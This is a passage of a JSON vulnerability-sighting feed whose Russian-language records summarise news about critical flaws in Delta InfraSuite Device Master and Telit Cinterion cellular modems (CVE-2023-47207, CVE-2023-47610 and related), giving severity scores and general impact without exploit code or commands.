\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-47207) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437\u0432\u043d\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.", "creation_timestamp": "2023-12-11T17:10:06.000000Z"}, {"uuid": "f267721f-2096-433f-a748-be1bf832723a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/true_secator/5187", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 InfraSuite Device Master \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta OT \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nInfraSuite Device Master \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0426\u041e\u0414, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0438 ICS.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u041f\u0435\u0442\u0440\u043e\u043c \u0411\u0430\u0437\u044b\u0434\u043b\u043e \u0438 \u041d\u0433\u0443\u0435\u043d\u043e\u043c \u0414\u0438\u043d\u044c \u0425\u043e\u0430\u043d\u0433 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Trend Micro Zero Day Initiative, \u043e \u0447\u0435\u043c 18 \u0438\u044e\u043b\u044f \u0438 24 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0443\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-47279 (CVSS 7.5), CVE-2023-46690 (CVSS 8.8) CVE-2023-39226 (CVSS 9.8) \u0438 CVE-2023-47207 (CVSS 9.8).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u044b\u0440\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-47207) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437\u0432\u043d\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.", "creation_timestamp": "2023-12-11T17:10:06.000000Z"}, {"uuid": "8e889a90-69e6-4ce8-9cb0-5634b1175139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "c9739521-0897-4bf5-8d1f-b91bb76f1079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 